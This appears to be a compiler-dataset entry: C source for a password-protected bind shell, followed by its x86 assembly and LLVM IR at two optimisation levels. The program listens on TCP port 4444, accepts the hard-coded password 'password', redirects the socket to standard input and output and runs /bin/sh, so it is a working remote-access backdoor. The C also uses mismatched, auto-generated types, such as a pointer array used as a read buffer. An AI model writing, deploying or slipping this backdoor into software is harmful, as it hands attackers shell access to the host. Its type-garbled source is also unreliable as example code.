#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  char **sin_zero;
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_port;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ INADDR_ANY;
int /*<<< orphan*/ SOCK_STREAM;
int accept(int, struct sockaddr *, int *);
int bind(int, struct sockaddr *, int);
int /*<<< orphan*/ bzero(char ***, int);
int /*<<< orphan*/ close(int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execve(char *, char **, int /*<<< orphan*/ *);
int /*<<< orphan*/ exit(int);
int /*<<< orphan*/ htons(int);
int listen(int, int);
int /*<<< orphan*/ perror(char *);
int /*<<< orphan*/ printf(char *, ...);
int /*<<< orphan*/ read(int, char ***, int);
int /*<<< orphan*/ send(int, char *, int, int /*<<< orphan*/);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
scalar_t__ strcmp(char ***, char *);
main(int argc, char **argv) {
  int svr_sock;
  int client_sock;
  struct sockaddr_in server;
  struct sockaddr_in client;
  int sockaddr_len = sizeof(struct sockaddr_in);
  char *arguments[] = {"/bin/sh", 0};
  char *in[] = {"xxxxxxxxxx", 0};
  bzero(&in, 10);
  int connected = 0;
  server.sin_family = AF_INET;
  server.sin_port = htons(4444);
  server.sin_addr.s_addr = INADDR_ANY;
  bzero(&server.sin_zero, 8);
  if ((svr_sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
    perror("Server socket: ");
    exit(-1);
  }
  if ((bind(svr_sock, (struct sockaddr *)&server, sockaddr_len)) == -1) {
    perror("Bind: ");
    exit(-1);
  }
  if ((listen(svr_sock, 2)) == -1) {
    perror("Listen: ");
    exit(-1);
  }
  do {
    if ((client_sock = accept(svr_sock, (struct sockaddr *)&client,
                              &sockaddr_len)) == -1) {
      perror("Accept: ");
      exit(-1);
    }
    send(client_sock, (char *)"Speak Friend and Enter: ", 24, 0);
    read(client_sock, &in, 10);
    if (strcmp(&in, "password\n") != 0) {
      send(client_sock, (char *)"Goodbye\n", 8, 0);
      close(client_sock);
      printf("Auth fail: %s\n", (char *)in);
      bzero(&in, 10);
    } else {
      send(client_sock, (char *)"Welcome\n", 8, 0);
      connected = 1;
      printf("Auth Passed!\n");
    }
  } while (connected == 0);
  close(svr_sock);
  dup2(client_sock, 0);
  dup2(client_sock, 1);
  dup2(client_sock, 2);
  execve(arguments[0], &arguments[0], NULL);
  close(client_sock);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x80,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0x18,-0x4c(%rbp)
mov    0x2bc9(%rip),%rax
mov    %rax,-0x60(%rbp)
mov    0x2bc6(%rip),%rax
mov    %rax,-0x58(%rbp)
mov    0x2bc3(%rip),%rax
mov    %rax,-0x70(%rbp)
mov    0x2bc0(%rip),%rax
mov    %rax,-0x68(%rbp)
lea    -0x70(%rbp),%rdi
mov    $0xa,%esi
call   10e0 <bzero@plt>
movl   $0x0,-0x74(%rbp)
mov    0x2d88(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x20(%rbp)
mov    $0x115c,%edi
call   1030 <htons@plt>
mov    %eax,-0x24(%rbp)
mov    0x2d67(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x28(%rbp)
lea    -0x30(%rbp),%rdi
mov    $0x8,%esi
call   10e0 <bzero@plt>
mov    0x2d55(%rip),%rax
mov    (%rax),%edi
mov    0x2d34(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1110 <socket@plt>
mov    %eax,-0x14(%rbp)
cmp    $0xffffffff,%eax
jne    12bf <main+0xcf>
lea    0xd63(%rip),%rdi
call   10d0 <perror@plt>
mov    $0xffffffff,%edi
call   1100 <exit@plt>
mov    -0x14(%rbp),%edi
lea    -0x30(%rbp),%rsi
mov    -0x4c(%rbp),%edx
call   10c0 <bind@plt>
cmp    $0xffffffff,%eax
jne    12ed <main+0xfd>
lea    0xd45(%rip),%rdi
call   10d0 <perror@plt>
mov    $0xffffffff,%edi
call   1100 <exit@plt>
mov    -0x14(%rbp),%edi
mov    $0x2,%esi
call   10b0 <listen@plt>
cmp    $0xffffffff,%eax
jne    1319 <main+0x129>
lea    0xd20(%rip),%rdi
call   10d0 <perror@plt>
mov    $0xffffffff,%edi
call   1100 <exit@plt>
jmp    131e <main+0x12e>
mov    -0x14(%rbp),%edi
lea    -0x48(%rbp),%rsi
lea    -0x4c(%rbp),%rdx
call   10f0 <accept@plt>
mov    %eax,-0x18(%rbp)
cmp    $0xffffffff,%eax
jne    1350 <main+0x160>
lea    0xcf2(%rip),%rdi
call   10d0 <perror@plt>
mov    $0xffffffff,%edi
call   1100 <exit@plt>
mov    -0x18(%rbp),%edi
lea    0xce2(%rip),%rsi
mov    $0x18,%edx
xor    %ecx,%ecx
call   1050 <send@plt>
mov    -0x18(%rbp),%edi
lea    -0x70(%rbp),%rsi
mov    $0xa,%edx
call   1080 <read@plt>
lea    -0x70(%rbp),%rdi
lea    0xcd3(%rip),%rsi
call   10a0 <strcmp@plt>
cmp    $0x0,%rax
je     13d4 <main+0x1e4>
mov    -0x18(%rbp),%edi
lea    0xcc4(%rip),%rsi
mov    $0x8,%edx
xor    %ecx,%ecx
call   1050 <send@plt>
mov    -0x18(%rbp),%edi
call   1070 <close@plt>
lea    -0x70(%rbp),%rsi
lea    0xcae(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
lea    -0x70(%rbp),%rdi
mov    $0xa,%esi
call   10e0 <bzero@plt>
jmp    13ff <main+0x20f>
mov    -0x18(%rbp),%edi
lea    0xc99(%rip),%rsi
mov    $0x8,%edx
xor    %ecx,%ecx
call   1050 <send@plt>
movl   $0x1,-0x74(%rbp)
lea    0xc88(%rip),%rdi
mov    $0x0,%al
call   1060 <printf@plt>
jmp    1404 <main+0x214>
cmpl   $0x0,-0x74(%rbp)
je     131e <main+0x12e>
mov    -0x14(%rbp),%edi
call   1070 <close@plt>
mov    -0x18(%rbp),%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    -0x18(%rbp),%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    -0x18(%rbp),%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
mov    -0x60(%rbp),%rdi
lea    -0x60(%rbp),%rsi
xor    %eax,%eax
mov    %eax,%edx
call   1090 <execve@plt>
mov    -0x18(%rbp),%edi
call   1070 <close@plt>
mov    -0x4(%rbp),%eax
add    $0x80,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x58,%rsp
movl   $0x18,0x4(%rsp)
movaps 0x2bc3(%rip),%xmm0
movaps %xmm0,0x30(%rsp)
movaps 0x2bc7(%rip),%xmm0
movaps %xmm0,0x20(%rsp)
lea    0x20(%rsp),%rdi
mov    $0xa,%esi
call   10f0 <bzero@plt>
mov    0x2d9c(%rip),%rbx
mov    (%rbx),%eax
mov    %eax,0x18(%rsp)
mov    $0x115c,%edi
call   1040 <htons@plt>
mov    %eax,0x14(%rsp)
mov    0x2d79(%rip),%rax
mov    (%rax),%eax
mov    %eax,0x10(%rsp)
lea    0x8(%rsp),%rdi
mov    $0x8,%esi
call   10f0 <bzero@plt>
mov    (%rbx),%edi
mov    0x2d4b(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1120 <socket@plt>
cmp    $0xffffffff,%eax
je     1412 <main+0x212>
mov    %eax,%r15d
lea    0x8(%rsp),%rsi
mov    %eax,%edi
mov    $0x18,%edx
call   10d0 <bind@plt>
cmp    $0xffffffff,%eax
je     141e <main+0x21e>
mov    %r15d,%edi
mov    $0x2,%esi
call   10c0 <listen@plt>
cmp    $0xffffffff,%eax
je     142a <main+0x22a>
lea    0x40(%rsp),%rsi
lea    0x4(%rsp),%rdx
mov    %r15d,%edi
call   1100 <accept@plt>
cmp    $0xffffffff,%eax
je     1387 <main+0x187>
mov    %eax,%ebp
lea    0x20(%rsp),%rbx
lea    0xd7d(%rip),%r14
lea    0x40(%rsp),%r13
lea    0x4(%rsp),%r12
cs nopw 0x0(%rax,%rax,1)
nop
mov    %ebp,%edi
lea    0xd33(%rip),%rsi
mov    $0x18,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
mov    %ebp,%edi
mov    %rbx,%rsi
mov    $0xa,%edx
call   1090 <read@plt>
mov    %rbx,%rdi
lea    0xd27(%rip),%rsi
call   10b0 <strcmp@plt>
test   %rax,%rax
je     139d <main+0x19d>
mov    %ebp,%edi
lea    0xd1e(%rip),%rsi
mov    $0x8,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
mov    %ebp,%edi
call   1080 <close@plt>
mov    %r14,%rdi
mov    %rbx,%rsi
xor    %eax,%eax
call   1070 <printf@plt>
mov    %rbx,%rdi
mov    $0xa,%esi
call   10f0 <bzero@plt>
mov    %r15d,%edi
mov    %r13,%rsi
mov    %r12,%rdx
call   1100 <accept@plt>
mov    %eax,%ebp
cmp    $0xffffffff,%eax
jne    1300 <main+0x100>
lea    0xca5(%rip),%rdi
call   10e0 <perror@plt>
mov    $0xffffffff,%edi
call   1110 <exit@plt>
lea    0xcd3(%rip),%rsi
mov    %ebp,%edi
mov    $0x8,%edx
xor    %ecx,%ecx
call   1060 <send@plt>
lea    0xcc7(%rip),%rdi
call   1030 <puts@plt>
mov    %r15d,%edi
call   1080 <close@plt>
mov    %ebp,%edi
xor    %esi,%esi
call   1050 <dup2@plt>
mov    %ebp,%edi
mov    $0x1,%esi
call   1050 <dup2@plt>
mov    %ebp,%edi
mov    $0x2,%esi
call   1050 <dup2@plt>
lea    0xc12(%rip),%rdi
lea    0x30(%rsp),%rsi
xor    %edx,%edx
call   10a0 <execve@plt>
mov    %ebp,%edi
call   1080 <close@plt>
xor    %eax,%eax
add    $0x58,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret
lea    0xbfa(%rip),%rdi
jmp    138e <main+0x18e>
lea    0xbfe(%rip),%rdi
jmp    138e <main+0x18e>
lea    0xbf9(%rip),%rdi
jmp    138e <main+0x18e>

LLVM IR (-O0):
%struct.sockaddr_in = type { i8**, %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@.str = [8 x i8] c"/bin/sh\00"
@__const.main.arguments = [2 x i8*] [i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i32 0, i32 0), i8* null]
@.str.1 = [11 x i8] c"xxxxxxxxxx\00"
@__const.main.in = [2 x i8*] [i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.1, i32 0, i32 0), i8* null]
@AF_INET = global i32 0
@INADDR_ANY = global i32 0
@SOCK_STREAM = global i32 0
@.str.2 = [16 x i8] c"Server socket: \00"
@.str.3 = [7 x i8] c"Bind: \00"
@.str.4 = [9 x i8] c"Listen: \00"
@.str.5 = [9 x i8] c"Accept: \00"
@.str.6 = [25 x i8] c"Speak Friend and Enter: \00"
@.str.7 = [10 x i8] c"password\0A\00"
@.str.8 = [9 x i8] c"Goodbye\0A\00"
@.str.9 = [15 x i8] c"Auth fail: %s\0A\00"
@.str.10 = [9 x i8] c"Welcome\0A\00"
@.str.11 = [14 x i8] c"Auth Passed!\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca i32
%7 = alloca i32
%8 = alloca %struct.sockaddr_in
%9 = alloca %struct.sockaddr_in
%10 = alloca i32
%11 = alloca [2 x i8*]
%12 = alloca [2 x i8*]
%13 = alloca i32
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i32 24, i32* %10
%14 = bitcast [2 x i8*]* %11 to i8*
%15 = bitcast [2 x i8*]* %12 to i8*
%16 = bitcast [2 x i8*]* %12 to i8***
%17 = call i32 @bzero(i8*** %16, i32 10)
store i32 0, i32* %13
%18 = load i32, i32* @AF_INET
%19 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %8, i32 0, i32 3
store i32 %18, i32* %19
%20 = call i32 @htons(i32 4444)
%21 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %8, i32 0, i32 2
store i32 %20, i32* %21
%22 = load i32, i32* @INADDR_ANY
%23 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %8, i32 0, i32 1
%24 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %23, i32 0, i32 0
store i32 %22, i32* %24
%25 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %8, i32 0, i32 0
%26 = call i32 @bzero(i8*** %25, i32 8)
%27 = load i32, i32* @AF_INET
%28 = load i32, i32* @SOCK_STREAM
%29 = call i32 @socket(i32 %27, i32 %28, i32 0)
store i32 %29, i32* %6
%30 = icmp eq i32 %29, -1
br i1 %30, label %31, label %34
31: ; preds = %2
%32 = call i32 @perror(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.2, i64 0, i64 0))
%33 = call i32 @exit(i32 -1)
unreachable
34: ; preds = %2
%35 = load i32, i32* %6
%36 = bitcast %struct.sockaddr_in* %8 to %struct.sockaddr*
%37 = load i32, i32* %10
%38 = call i32 @bind(i32 %35, %struct.sockaddr* %36, i32 %37)
%39 = icmp eq i32 %38, -1
br i1 %39, label %40, label %43
40: ; preds = %34
%41 = call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0))
%42 = call i32 @exit(i32 -1)
unreachable
43: ; preds = %34
%44 = load i32, i32* %6
%45 = call i32 @listen(i32 %44, i32 2)
%46 = icmp eq i32 %45, -1
br i1 %46, label %47, label %50
47: ; preds = %43
%48 = call i32 @perror(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.4, i64 0, i64 0))
%49 = call i32 @exit(i32 -1)
unreachable
50: ; preds = %43
br label %51
51: ; preds = %83, %50
%52 = load i32, i32* %6
%53 = bitcast %struct.sockaddr_in* %9 to %struct.sockaddr*
%54 = call i32 @accept(i32 %52, %struct.sockaddr* %53, i32* %10)
store i32 %54, i32* %7
%55 = icmp eq i32 %54, -1
br i1 %55, label %56, label %59
56: ; preds = %51
%57 = call i32 @perror(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.5, i64 0, i64 0))
%58 = call i32 @exit(i32 -1)
unreachable
59: ; preds = %51
%60 = load i32, i32* %7
%61 = call i32 @send(i32 %60, i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.6, i64 0, i64 0), i32 24, i32 0)
%62 = load i32, i32* %7
%63 = bitcast [2 x i8*]* %12 to i8***
%64 = call i32 @read(i32 %62, i8*** %63, i32 10)
%65 = bitcast [2 x i8*]* %12 to i8***
%66 = call i64 @strcmp(i8*** %65, i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.7, i64 0, i64 0))
%67 = icmp ne i64 %66, 0
br i1 %67, label %68, label %78
68: ; preds = %59
%69 = load i32, i32* %7
%70 = call i32 @send(i32 %69, i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.8, i64 0, i64 0), i32 8, i32 0)
%71 = load i32, i32* %7
%72 = call i32 @close(i32 %71)
%73 = getelementptr inbounds [2 x i8*], [2 x i8*]* %12, i64 0, i64 0
%74 = bitcast i8** %73 to i8*
%75 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([15 x i8], [15 x i8]* @.str.9, i64 0, i64 0), i8* %74)
%76 = bitcast [2 x i8*]* %12 to i8***
%77 = call i32 @bzero(i8*** %76, i32 10)
br label %82
78: ; preds = %59
%79 = load i32, i32* %7
%80 = call i32 @send(i32 %79, i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.10, i64 0, i64 0), i32 8, i32 0)
store i32 1, i32* %13
%81 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.11, i64 0, i64 0))
br label %82
82: ; preds = %78, %68
br label %83
83: ; preds = %82
%84 = load i32, i32* %13
%85 = icmp eq i32 %84, 0
br i1 %85, label %51, label %86
86: ; preds = %83
%87 = load i32, i32* %6
%88 = call i32 @close(i32 %87)
%89 = load i32, i32* %7
%90 = call i32 @dup2(i32 %89, i32 0)
%91 = load i32, i32* %7
%92 = call i32 @dup2(i32 %91, i32 1)
%93 = load i32, i32* %7
%94 = call i32 @dup2(i32 %93, i32 2)
%95 = getelementptr inbounds [2 x i8*], [2 x i8*]* %11, i64 0, i64 0
%96 = load i8*, i8** %95
%97 = getelementptr inbounds [2 x i8*], [2 x i8*]* %11, i64 0, i64 0
%98 = call i32 @execve(i8* %96, i8** %97, i32* null)
%99 = load i32, i32* %7
%100 = call i32 @close(i32 %99)
%101 = load i32, i32* %3
ret i32 %101
}

LLVM IR (-O2):
%struct.sockaddr_in = type { i8**, %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@.str = [8 x i8] c"/bin/sh\00"
@__const.main.arguments = [2 x i8*] [i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i32 0, i32 0), i8* null]
@.str.1 = [11 x i8] c"xxxxxxxxxx\00"
@__const.main.in = [2 x i8*] [i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.1, i32 0, i32 0), i8* null]
@AF_INET = global i32 0
@INADDR_ANY = global i32 0
@SOCK_STREAM = global i32 0
@.str.2 = [16 x i8] c"Server socket: \00"
@.str.3 = [7 x i8] c"Bind: \00"
@.str.4 = [9 x i8] c"Listen: \00"
@.str.5 = [9 x i8] c"Accept: \00"
@.str.6 = [25 x i8] c"Speak Friend and Enter: \00"
@.str.7 = [10 x i8] c"password\0A\00"
@.str.8 = [9 x i8] c"Goodbye\0A\00"
@.str.9 = [15 x i8] c"Auth fail: %s\0A\00"
@.str.10 = [9 x i8] c"Welcome\0A\00"
@str = [13 x i8] c"Auth Passed!\00"
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = alloca %struct.sockaddr_in
%4 = alloca %struct.sockaddr_in
%5 = alloca i32
%6 = alloca [2 x i8*]
%7 = alloca [2 x i8*]
%8 = bitcast %struct.sockaddr_in* %3 to i8*
%9 = bitcast %struct.sockaddr_in* %4 to i8*
%10 = bitcast i32* %5 to i8*
store i32 24, i32* %5
%11 = bitcast [2 x i8*]* %6 to i8*
%12 = bitcast [2 x i8*]* %7 to i8*
%13 = bitcast [2 x i8*]* %7 to i8***
%14 = call i32 @bzero(i8*** %13, i32 10)
%15 = load i32, i32* @AF_INET
%16 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 3
store i32 %15, i32* %16
%17 = tail call i32 @htons(i32 4444)
%18 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 2
store i32 %17, i32* %18
%19 = load i32, i32* @INADDR_ANY
%20 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 1, i32 0
store i32 %19, i32* %20
%21 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %3, i64 0, i32 0
%22 = call i32 @bzero(i8*** %21, i32 8)
%23 = load i32, i32* @AF_INET
%24 = load i32, i32* @SOCK_STREAM
%25 = tail call i32 @socket(i32 %23, i32 %24, i32 0)
%26 = icmp eq i32 %25, -1
br i1 %26, label %27, label %30
27: ; preds = %2
%28 = tail call i32 @perror(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str.2, i64 0, i64 0))
%29 = tail call i32 @exit(i32 -1)
unreachable
30: ; preds = %2
%31 = bitcast %struct.sockaddr_in* %3 to %struct.sockaddr*
%32 = call i32 @bind(i32 %25, %struct.sockaddr* %31, i32 24)
%33 = icmp eq i32 %32, -1
br i1 %33, label %34, label %37
34: ; preds = %30
%35 = call i32 @perror(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.3, i64 0, i64 0))
%36 = call i32 @exit(i32 -1)
unreachable
37: ; preds = %30
%38 = call i32 @listen(i32 %25, i32 2)
%39 = icmp eq i32 %38, -1
br i1 %39, label %44, label %40
40: ; preds = %37
%41 = bitcast %struct.sockaddr_in* %4 to %struct.sockaddr*
%42 = call i32 @accept(i32 %25, %struct.sockaddr* %41, i32* %5)
%43 = icmp eq i32 %42, -1
br i1 %43, label %47, label %50
44: ; preds = %37
%45 = call i32 @perror(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.4, i64 0, i64 0))
%46 = call i32 @exit(i32 -1)
unreachable
47: ; preds = %56, %40
%48 = call i32 @perror(i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.5, i64 0, i64 0))
%49 = call i32 @exit(i32 -1)
unreachable
50: ; preds = %40, %56
%51 = phi i32 [ %61, %56 ], [ %42, %40 ]
%52 = call i32 @send(i32 %51, i8* getelementptr inbounds ([25 x i8], [25 x i8]* @.str.6, i64 0, i64 0), i32 24, i32 0)
%53 = call i32 @read(i32 %51, i8*** %13, i32 10)
%54 = call i64 @strcmp(i8*** %13, i8* getelementptr inbounds ([10 x i8], [10 x i8]* @.str.7, i64 0, i64 0))
%55 = icmp eq i64 %54, 0
br i1 %55, label %63, label %56
56: ; preds = %50
%57 = call i32 @send(i32 %51, i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.8, i64 0, i64 0), i32 8, i32 0)
%58 = call i32 @close(i32 %51)
%59 = call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([15 x i8], [15 x i8]* @.str.9, i64 0, i64 0), [2 x i8*]* %7)
%60 = call i32 @bzero(i8*** %13, i32 10)
%61 = call i32 @accept(i32 %25, %struct.sockaddr* %41, i32* %5)
%62 = icmp eq i32 %61, -1
br i1 %62, label %47, label %50
63: ; preds = %50
%64 = call i32 @send(i32 %51, i8* getelementptr inbounds ([9 x i8], [9 x i8]* @.str.10, i64 0, i64 0), i32 8, i32 0)
%65 = call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([13 x i8], [13 x i8]* @str, i64 0, i64 0))
%66 = call i32 @close(i32 %25)
%67 = call i32 @dup2(i32 %51, i32 0)
%68 = call i32 @dup2(i32 %51, i32 1)
%69 = call i32 @dup2(i32 %51, i32 2)
%70 = getelementptr inbounds [2 x i8*], [2 x i8*]* %6, i64 0, i64 0
%71 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str, i64 0, i64 0), i8** %70, i32* null)
%72 = call i32 @close(i32 %51)
ret i32 0
}